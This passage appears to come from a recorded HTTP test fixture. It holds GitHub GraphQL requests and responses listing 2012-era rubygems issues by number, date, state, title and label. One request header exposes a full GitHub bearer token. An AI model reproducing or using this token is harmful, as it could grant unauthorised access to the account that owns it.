rails","url":"https://github.com/rubygems/rubygems/issues/295","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xNFQwNzowOTo1NC0wNDowMM4AN6O9","node":{"number":296,"createdAt":"2012-03-14T11:09:54Z","closedAt":"2012-03-14T11:26:41Z","updatedAt":"2012-03-14T16:35:09Z","state":"CLOSED","title":"Skipping build of binary extensions","url":"https://github.com/rubygems/rubygems/issues/296","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xNFQxNzozODozMC0wNDowMM4AN80t","node":{"number":297,"createdAt":"2012-03-14T21:38:30Z","closedAt":"2012-03-21T21:30:25Z","updatedAt":"2012-03-21T21:30:25Z","state":"CLOSED","title":"`gem build` from `gem unpack --spec` may fail for older gems","url":"https://github.com/rubygems/rubygems/issues/297","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xNFQxNzo1MTowOS0wNDowMM4AN83y","node":{"number":298,"createdAt":"2012-03-14T21:51:09Z","closedAt":"2012-03-14T22:04:12Z","updatedAt":"2012-03-14T22:04:12Z","state":"CLOSED","title":"Psych visitor not loading properly on 1.9.2","url":"https://github.com/rubygems/rubygems/issues/298","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xNFQyMDozMTo0OC0wNDowMM4AN9Ya","node":{"number":299,"createdAt":"2012-03-15T00:31:48Z","closedAt":"2012-03-20T19:49:22Z","updatedAt":"2012-03-22T04:55:27Z","state":"CLOSED","title":"1.9.3 test errors and failures on Windows XP","url":"https://github.com/rubygems/rubygems/issues/299","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xNVQwNTozNjoxMC0wNDowMM4AN+US","node":{"number":300,"createdAt":"2012-03-15T09:36:10Z","closedAt":"2012-03-21T20:58:50Z","updatedAt":"2012-03-21T20:58:50Z","state":"CLOSED","title":"Confusing error message when there is no network connection","url":"https://github.com/rubygems/rubygems/issues/300","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xOVQxNjo1MDozMy0wNDowMM4AOLrP","node":{"number":301,"createdAt":"2012-03-19T20:50:33Z","closedAt":"2012-03-21T18:26:51Z","updatedAt":"2012-03-21T18:26:52Z","state":"CLOSED","title":"gem list broken on master for ruby 1.9.2","url":"https://github.com/rubygems/rubygems/issues/301","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0yMFQyMToyODozOC0wNDowMM4AOQ2R","node":{"number":302,"createdAt":"2012-03-21T01:28:38Z","closedAt":"2012-11-28T00:00:57Z","updatedAt":"2012-11-28T00:00:57Z","state":"CLOSED","title":"Bad gems are still up on rubygems.org (invalid gemspec for clamp....\")","url":"https://github.com/rubygems/rubygems/issues/302","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0yMVQxMzo1NDowMS0wNDowMM4AOTlD","node":{"number":304,"createdAt":"2012-03-21T17:54:01Z","closedAt":"2012-03-21T18:26:05Z","updatedAt":"2012-03-21T18:26:05Z","state":"CLOSED","title":"gem 1.8.19 builds wrong source URL if source specified in .gemrc","url":"https://github.com/rubygems/rubygems/issues/304","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0yM1QxMjo0MjozMC0wNDowMM4AObkV","node":{"number":306,"createdAt":"2012-03-23T16:42:30Z","closedAt":"2012-11-27T23:59:37Z","updatedAt":"2012-11-27T23:59:37Z","state":"CLOSED","title":"version 1.8.20 does not work on MacRuby","url":"https://github.com/rubygems/rubygems/issues/306","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0yNlQxMDoxOTozMi0wNDowMM4AOiBI","node":{"number":307,"createdAt":"2012-03-26T14:19:32Z","closedAt":"2012-04-12T23:16:25Z","updatedAt":"2012-04-12T23:16:25Z","state":"CLOSED","title":"don''t assume ARGV has valid encoding","url":"https://github.com/rubygems/rubygems/issues/307","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0wNFQxNToyNjo1My0wNDowMM4APK64","node":{"number":308,"createdAt":"2012-04-04T19:26:53Z","closedAt":"2012-04-04T20:36:31Z","updatedAt":"2012-04-04T20:37:35Z","state":"CLOSED","title":"Querying a missing gem returns bogus output","url":"https://github.com/rubygems/rubygems/issues/308","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0xMFQwOTozMTowMS0wNDowMM4APbwb","node":{"number":309,"createdAt":"2012-04-10T13:31:01Z","closedAt":"2012-04-12T22:04:30Z","updatedAt":"2012-04-21T14:16:20Z","state":"CLOSED","title":"odd error when attempting an install","url":"https://github.com/rubygems/rubygems/issues/309","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0xMFQxNjoxMTo0OS0wNDowMM4APdkf","node":{"number":310,"createdAt":"2012-04-10T20:11:49Z","closedAt":"2012-04-10T20:15:27Z","updatedAt":"2012-04-11T00:29:56Z","state":"CLOSED","title":"add_dependency ''activesupport'', ''~> 3.0''","url":"https://github.com/rubygems/rubygems/issues/310","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0xMFQxNjo1MzozMC0wNDowMM4APdv9","node":{"number":311,"createdAt":"2012-04-10T20:53:30Z","closedAt":"2012-04-12T21:35:16Z","updatedAt":"2012-05-04T21:56:55Z","state":"CLOSED","title":"Installing rubygems-1.8.21 for ruby-1.9.3-p125 in rvm","url":"https://github.com/rubygems/rubygems/issues/311","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0xMlQwMDowNzowNy0wNDowMM4APjnS","node":{"number":312,"createdAt":"2012-04-12T04:07:07Z","closedAt":"2012-04-12T04:56:07Z","updatedAt":"2012-04-12T04:56:07Z","state":"CLOSED","title":"Offloading documentation generation to rubygems.org","url":"https://github.com/rubygems/rubygems/issues/312","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0xNVQyMDo0NzoyMi0wNDowMM4APvpn","node":{"number":313,"createdAt":"2012-04-16T00:47:22Z","closedAt":"2012-04-17T11:47:47Z","updatedAt":"2012-04-17T11:47:47Z","state":"CLOSED","title":"should use File.identical? to check the identity of the files","url":"https://github.com/rubygems/rubygems/issues/313","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0xOFQxMzozMjoxNS0wNDowMM4AP7us","node":{"number":314,"createdAt":"2012-04-18T17:32:15Z","closedAt":"2012-11-27T23:58:01Z","updatedAt":"2014-07-31T08:41:53Z","state":"CLOSED","title":"ArgumentError: invalid byte sequence in US-ASCII","url":"https://github.com/rubygems/rubygems/issues/314","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0yMFQxMjowOTo1OS0wNDowMM4AQEtt","node":{"number":315,"createdAt":"2012-04-20T16:09:59Z","closedAt":"2012-11-27T23:36:17Z","updatedAt":"2012-11-27T23:37:05Z","state":"CLOSED","title":"defaults.rb - Check Gem.user_home for nil","url":"https://github.com/rubygems/rubygems/issues/315","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0yMFQxODoyNTo0OC0wNDowMM4AQGGh","node":{"number":316,"createdAt":"2012-04-20T22:25:48Z","closedAt":"2012-06-13T23:40:10Z","updatedAt":"2012-06-27T14:32:43Z","state":"CLOSED","title":"gem push generates ssl error on Windows","url":"https://github.com/rubygems/rubygems/issues/316","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0yMVQxNjoyODozMi0wNDowMM4AQHr/","node":{"number":318,"createdAt":"2012-04-21T20:28:32Z","closedAt":"2012-04-21T20:30:42Z","updatedAt":"2012-04-22T00:21:06Z","state":"CLOSED","title":"maintainers not updating History.txt or blog.rubygems.org","url":"https://github.com/rubygems/rubygems/issues/318","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0yMVQyMTo1Njo1Ny0wNDowMM4AQH/p","node":{"number":319,"createdAt":"2012-04-22T01:56:57Z","closedAt":"2012-04-29T16:51:08Z","updatedAt":"2017-01-17T23:49:48Z","state":"CLOSED","title":"SSL_connect failure when running \"rails new\"","url":"https://github.com/rubygems/rubygems/issues/319","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0yM1QwMzowNjozMC0wNDowMM4AQKD8","node":{"number":320,"createdAt":"2012-04-23T07:06:30Z","closedAt":"2012-04-27T23:26:00Z","updatedAt":"2012-04-27T23:26:00Z","state":"CLOSED","title":"1.8.23 actually does not install pem file","url":"https://github.com/rubygems/rubygems/issues/320","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNC0yOFQxOToxNTo1OS0wNDowMM4AQjG5","node":{"number":321,"createdAt":"2012-04-28T23:15:59Z","closedAt":"2013-11-26T21:52:14Z","updatedAt":"2013-11-26T21:52:14Z","state":"CLOSED","title":"''gem server'' does not honor gem sets","url":"https://github.com/rubygems/rubygems/issues/321","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0wM1QyMTo1Mjo1OC0wNDowMM4AQ2b8","node":{"number":322,"createdAt":"2012-05-04T01:52:58Z","closedAt":"2012-11-27T23:20:21Z","updatedAt":"2016-03-09T01:43:30Z","state":"CLOSED","title":"gem update --system (undefined method `downcase'' for nil:NilClass)","url":"https://github.com/rubygems/rubygems/issues/322","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0wNFQxNDowNjoyNy0wNDowMM4AQ5KJ","node":{"number":323,"createdAt":"2012-05-04T18:06:27Z","closedAt":"2012-11-27T23:07:11Z","updatedAt":"2012-11-27T23:07:11Z","state":"CLOSED","title":"passing a Hash to add_dependency should fail","url":"https://github.com/rubygems/rubygems/issues/323","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0wNFQxNTozMDoyNi0wNDowMM4AQ5d7","node":{"number":324,"createdAt":"2012-05-04T19:30:26Z","closedAt":"2012-11-27T22:36:30Z","updatedAt":"2012-11-27T22:36:30Z","state":"CLOSED","title":"When private gem server not available, rubygems hangs","url":"https://github.com/rubygems/rubygems/issues/324","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0wN1QxNzoxNDoxNy0wNDowMM4ARBfu","node":{"number":325,"createdAt":"2012-05-07T21:14:17Z","closedAt":"2012-05-08T17:55:33Z","updatedAt":"2016-01-01T21:25:07Z","state":"CLOSED","title":"backporting custom_shebang to 1.8","url":"https://github.com/rubygems/rubygems/issues/325","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0wN1QxODoxNDo1Ni0wNDowMM4ARBvs","node":{"number":326,"createdAt":"2012-05-07T22:14:56Z","closedAt":"2012-11-27T22:28:45Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"binstubs regenerate","url":"https://github.com/rubygems/rubygems/issues/326","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0wOFQxODo1Njo0NC0wNDowMM4ARGjc","node":{"number":327,"createdAt":"2012-05-08T22:56:44Z","closedAt":"2012-06-15T23:44:07Z","updatedAt":"2012-06-15T23:44:07Z","state":"CLOSED","title":"gem update --system NoMethodError ","url":"https://github.com/rubygems/rubygems/issues/327","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xMlQwMTozNjo1NS0wNDowMM4ARViz","node":{"number":328,"createdAt":"2012-05-12T05:36:55Z","closedAt":"2012-05-12T06:46:34Z","updatedAt":"2012-05-12T06:47:00Z","state":"CLOSED","title":"setup.rb fails if /tmp/gem/ is a directory.","url":"https://github.com/rubygems/rubygems/issues/328","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xNFQxMDowODoxMC0wNDowMM4ARaSo","node":{"number":329,"createdAt":"2012-05-14T14:08:10Z","closedAt":"2012-10-07T22:00:06Z","updatedAt":"2012-10-07T22:00:06Z","state":"CLOSED","title":"''gem uninstall GEM'' shouldn''t check for development dependencies ","url":"https://github.com/rubygems/rubygems/issues/329","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xNlQxODozNzoxNS0wNDowMM4ARm1N","node":{"number":332,"createdAt":"2012-05-16T22:37:15Z","closedAt":"2012-06-15T23:38:07Z","updatedAt":"2013-04-17T23:23:23Z","state":"CLOSED","title":"Gem installation problems on Rubinius","url":"https://github.com/rubygems/rubygems/issues/332","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xOFQxNDo0NjowNi0wNDowMM4ARumG","node":{"number":333,"createdAt":"2012-05-18T18:46:06Z","closedAt":"2012-06-15T23:36:57Z","updatedAt":"2013-02-26T05:28:41Z","state":"CLOSED","title":"Suggestion: default permission on ~/.gem/credentials could be improved","url":"https://github.com/rubygems/rubygems/issues/333","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xOFQxNjo1OToxNi0wNDowMM4ARvHL","node":{"number":334,"createdAt":"2012-05-18T20:59:16Z","closedAt":"2016-01-19T01:15:34Z","updatedAt":"2016-01-19T01:15:34Z","state":"CLOSED","title":"gem cleanup is busted due to skipping potential specs","url":"https://github.com/rubygems/rubygems/issues/334","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xOFQxNzowMDo1MS0wNDowMM4ARvHt","node":{"number":335,"createdAt":"2012-05-18T21:00:51Z","closedAt":"2016-01-01T21:15:20Z","updatedAt":"2016-01-01T21:15:20Z","state":"CLOSED","title":"Specification.all isn''t all","url":"https://github.com/rubygems/rubygems/issues/335","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xOFQxOTo0NTo0Ni0wNDowMM4ARvlI","node":{"number":336,"createdAt":"2012-05-18T23:45:46Z","closedAt":"2012-05-21T12:05:51Z","updatedAt":"2012-05-22T16:21:13Z","state":"CLOSED","title":"\"GEM_HOME=~/tmp/gems/ gem install sequel\" doesn''t install executables to ~/tmp/gems/bin/","url":"https://github.com/rubygems/rubygems/issues/336","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0xOVQyMTowNzoyOS0wNDowMM4ARxH0","node":{"number":337,"createdAt":"2012-05-20T01:07:29Z","closedAt":"2012-11-27T21:40:45Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Gem server as Rack middleware","url":"https://github.com/rubygems/rubygems/issues/337","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0yOFQwNDozMzoyMS0wNDowMM4ASOPG","node":{"number":339,"createdAt":"2012-05-28T08:33:21Z","closedAt":"2016-01-01T21:11:07Z","updatedAt":"2016-01-01T21:11:16Z","state":"CLOSED","title":"$ gem install ignores -v, -r, -l for local .gem files","url":"https://github.com/rubygems/rubygems/issues/339","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNS0yOVQyMToxMDoxNC0wNDowMM4ASVwt","node":{"number":340,"createdAt":"2012-05-30T01:10:14Z","closedAt":"2012-10-07T21:28:29Z","updatedAt":"2012-10-07T21:28:29Z","state":"CLOSED","title":"rubygems binstubs appear to be dependent on $PATH","url":"https://github.com/rubygems/rubygems/issues/340","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNi0xNFQwNTo0NToyMC0wNDowMM4ATUwC","node":{"number":342,"createdAt":"2012-06-14T09:45:20Z","closedAt":"2012-06-14T23:25:25Z","updatedAt":"2012-06-14T23:25:26Z","state":"CLOSED","title":"Gem unusable if installed in non-default directories","url":"https://github.com/rubygems/rubygems/issues/342","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNi0xN1QxMDozNzoyMS0wNDowMM4ATgJK","node":{"number":343,"createdAt":"2012-06-17T14:37:21Z","closedAt":"2012-11-28T04:02:38Z","updatedAt":"2012-11-28T04:02:38Z","state":"CLOSED","title":"\"gem yank\" suggested to me by gems, but not available. Error output should be more specific.","url":"https://github.com/rubygems/rubygems/issues/343","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNi0xOFQxOTo1Mjo0Ni0wNDowMM4ATmBl","node":{"number":344,"createdAt":"2012-06-18T23:52:46Z","closedAt":"2012-11-27T21:36:09Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Add public key auth support","url":"https://github.com/rubygems/rubygems/issues/344","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNi0yMlQxMzo0OTowNS0wNDowMM4AT6fR","node":{"number":345,"createdAt":"2012-06-22T17:49:05Z","closedAt":"2012-10-07T18:04:12Z","updatedAt":"2012-10-10T03:35:49Z","state":"CLOSED","title":"Gem name not parsed correctly","url":"https://github.com/rubygems/rubygems/issues/345","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNi0yNVQwNzo0Njo1MC0wNDowMM4AUBAC","node":{"number":346,"createdAt":"2012-06-25T11:46:50Z","closedAt":"2012-06-25T18:32:26Z","updatedAt":"2016-07-13T02:54:48Z","state":"CLOSED","title":"add_optional_dependency","url":"https://github.com/rubygems/rubygems/issues/346","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNi0yOVQxNTowOTo1MC0wNDowMM4AUcjR","node":{"number":347,"createdAt":"2012-06-29T19:09:50Z","closedAt":"2012-06-29T21:39:06Z","updatedAt":"2012-06-29T21:39:06Z","state":"CLOSED","title":"Removing account from rubygems - https://rubygems.org/","url":"https://github.com/rubygems/rubygems/issues/347","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNi0yOVQxNzo0MDozMy0wNDowMM4AUdMa","node":{"number":348,"createdAt":"2012-06-29T21:40:33Z","closedAt":"2013-02-24T18:45:15Z","updatedAt":"2013-02-24T18:45:15Z","state":"CLOSED","title":"New releases are still not being blogged, manually or otherwise","url":"https://github.com/rubygems/rubygems/issues/348","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNy0xMlQxMzozMzozNi0wNDowMM4AVRpO","node":{"number":356,"createdAt":"2012-07-12T17:33:36Z","closedAt":"2012-07-12T20:23:45Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"nice default for gemspec.files","url":"https://github.com/rubygems/rubygems/issues/356","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNy0xNFQxNTo0MToyNi0wNDowMM4AVcrp","node":{"number":357,"createdAt":"2012-07-14T19:41:26Z","closedAt":"2012-11-30T03:34:57Z","updatedAt":"2012-11-30T03:34:57Z","state":"CLOSED","title":"Issue with using gem under Windows when the user profile folder contains diacritics","url":"https://github.com/rubygems/rubygems/issues/357","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNy0xOVQxNTozNjowOC0wNDowMM4AV1KP","node":{"number":358,"createdAt":"2012-07-19T19:36:08Z","closedAt":"2012-07-19T20:29:52Z","updatedAt":"2013-03-07T20:36:15Z","state":"CLOSED","title":"lib/rubygems/operating_system.rb and .../defaults.rb files NOT FOUND","url":"https://github.com/rubygems/rubygems/issues/358","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wNy0zMVQxODowMjo1NC0wNDowMM4AWtz5","node":{"number":360,"createdAt":"2012-07-31T22:02:54Z","closedAt":"2012-11-27T21:34:43Z","updatedAt":"2016-01-08T12:44:51Z","state":"CLOSED","title":"Issue with authentication with proxy","url":"https://github.com/rubygems/rubygems/issues/360","labels":{"nodes":[{"name":"category: other"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:24 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxMi0wNy0zMVQxODowMjo1NC0wNDowMM4AWtz5\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:24 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4982' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.457523' X-Github-Request-Id: - A384:4D97:903E67:1C48D0B:5A50E488 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wOC0xMVQxNDoxMToxNi0wNDowMM4AXizB","node":{"number":361,"createdAt":"2012-08-11T18:11:16Z","closedAt":"2012-10-06T07:05:05Z","updatedAt":"2012-10-06T07:05:05Z","state":"CLOSED","title":"Add \"remove account\" option to rubygems","url":"https://github.com/rubygems/rubygems/issues/361","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wOS0wNFQwMzozOToxMC0wNDowMM4AZSLJ","node":{"number":365,"createdAt":"2012-09-04T07:39:10Z","closedAt":"2012-12-08T02:27:50Z","updatedAt":"2012-12-08T03:34:33Z","state":"CLOSED","title":"RubyGems compatibility with FIPS","url":"https://github.com/rubygems/rubygems/issues/365","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wOS0wNFQwNjoyMDoxOS0wNDowMM4AZS5L","node":{"number":366,"createdAt":"2012-09-04T10:20:19Z","closedAt":"2012-10-06T07:02:14Z","updatedAt":"2012-10-08T16:21:33Z","state":"CLOSED","title":"irb or ruby script does not look at gemrc config file","url":"https://github.com/rubygems/rubygems/issues/366","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wOS0wNlQxNDoyMzo0NS0wNDowMM4AZirV","node":{"number":369,"createdAt":"2012-09-06T18:23:45Z","closedAt":"2012-09-06T18:28:13Z","updatedAt":"2012-09-06T18:28:13Z","state":"CLOSED","title":"Segmentation fault","url":"https://github.com/rubygems/rubygems/issues/369","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wOS0xMlQyMzoyMDozNS0wNDowMM4AaFZr","node":{"number":372,"createdAt":"2012-09-13T03:20:35Z","closedAt":"2012-11-27T21:31:26Z","updatedAt":"2012-12-02T20:25:46Z","state":"CLOSED","title":"gem install GEM --development loops endlessly","url":"https://github.com/rubygems/rubygems/issues/372","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMC0wNFQxMjoxMDowNS0wNDowMM4AcDu8","node":{"number":382,"createdAt":"2012-10-04T16:10:05Z","closedAt":"2012-10-06T06:53:57Z","updatedAt":"2012-10-06T06:53:57Z","state":"CLOSED","title":"Per gem rss feed","url":"https://github.com/rubygems/rubygems/issues/382","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMC0wNFQxODo0NDozNC0wNDowMM4AcGJS","node":{"number":383,"createdAt":"2012-10-04T22:44:34Z","closedAt":"2016-01-19T01:28:17Z","updatedAt":"2016-01-19T01:28:27Z","state":"CLOSED","title":"Rubygems 1.8.24 install using --prefix","url":"https://github.com/rubygems/rubygems/issues/383","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMC0xNVQxNzoxMzoxMC0wNDowMM4AdA86","node":{"number":385,"createdAt":"2012-10-15T21:13:10Z","closedAt":"2012-11-28T22:20:13Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"gem install rspec --include-dependencies nor gem install rspec --include-dependencies --force installs dependent gems","url":"https://github.com/rubygems/rubygems/issues/385","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMC0yMVQxNjowNTo0NS0wNDowMM4Adklu","node":{"number":387,"createdAt":"2012-10-21T20:05:45Z","closedAt":"2012-11-27T21:22:32Z","updatedAt":"2012-11-28T03:29:13Z","state":"CLOSED","title":"gem check -a dies with undefined method `add'' for \"/Users/me/.rvm/gems/ruby-1.9.3-p286@global/cache\":String","url":"https://github.com/rubygems/rubygems/issues/387","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMC0yM1QxMjo0OToyNC0wNDowMM4AdxGb","node":{"number":388,"createdAt":"2012-10-23T16:49:24Z","closedAt":"2012-10-23T22:06:50Z","updatedAt":"2012-10-23T22:06:50Z","state":"CLOSED","title":"rubygems down?","url":"https://github.com/rubygems/rubygems/issues/388","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0wN1QwNDozOToyOS0wNTowMM4AfJWi","node":{"number":390,"createdAt":"2012-11-07T09:39:29Z","closedAt":"2012-11-07T16:58:14Z","updatedAt":"2014-04-02T07:15:55Z","state":"CLOSED","title":"gem install --force should be able to install yanked gems","url":"https://github.com/rubygems/rubygems/issues/390","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0wN1QwODo1MDoyMy0wNTowMM4AfK+z","node":{"number":391,"createdAt":"2012-11-07T13:50:23Z","closedAt":"2012-11-07T17:22:05Z","updatedAt":"2012-11-07T17:22:05Z","state":"CLOSED","title":"When installing any gem with C dependency -- \"clang: warning: argument unused during compilation: ''-ggdb''\"","url":"https://github.com/rubygems/rubygems/issues/391","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0wOFQxMjo1MDowOC0wNTowMM4AfVKQ","node":{"number":392,"createdAt":"2012-11-08T17:50:08Z","closedAt":"2015-08-26T02:07:05Z","updatedAt":"2015-08-26T02:07:05Z","state":"CLOSED","title":"On Windows, ''gem generate_index'' doesn''t populate ''/quick'' directory on non-system partitions","url":"https://github.com/rubygems/rubygems/issues/392","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0wOVQxOTo1NTowMy0wNTowMM4Aff2o","node":{"number":393,"createdAt":"2012-11-10T00:55:03Z","closedAt":"2012-11-27T21:18:47Z","updatedAt":"2012-11-27T21:18:47Z","state":"CLOSED","title":"latest rake test results","url":"https://github.com/rubygems/rubygems/issues/393","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0yN1QyMzoxMTo0Ny0wNTowMM4AhYaW","node":{"number":401,"createdAt":"2012-11-28T04:11:47Z","closedAt":"2012-11-28T04:17:57Z","updatedAt":"2012-11-28T04:49:06Z","state":"CLOSED","title":"Gemfile is not respected when running gems","url":"https://github.com/rubygems/rubygems/issues/401","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0yOFQyMToyNzo0OC0wNTowMM4AhjBW","node":{"number":403,"createdAt":"2012-11-29T02:27:48Z","closedAt":null,"updatedAt":"2016-01-19T20:34:37Z","state":"OPEN","title":"Add possibity to force installing dependency gems","url":"https://github.com/rubygems/rubygems/issues/403","labels":{"nodes":[{"name":"category: 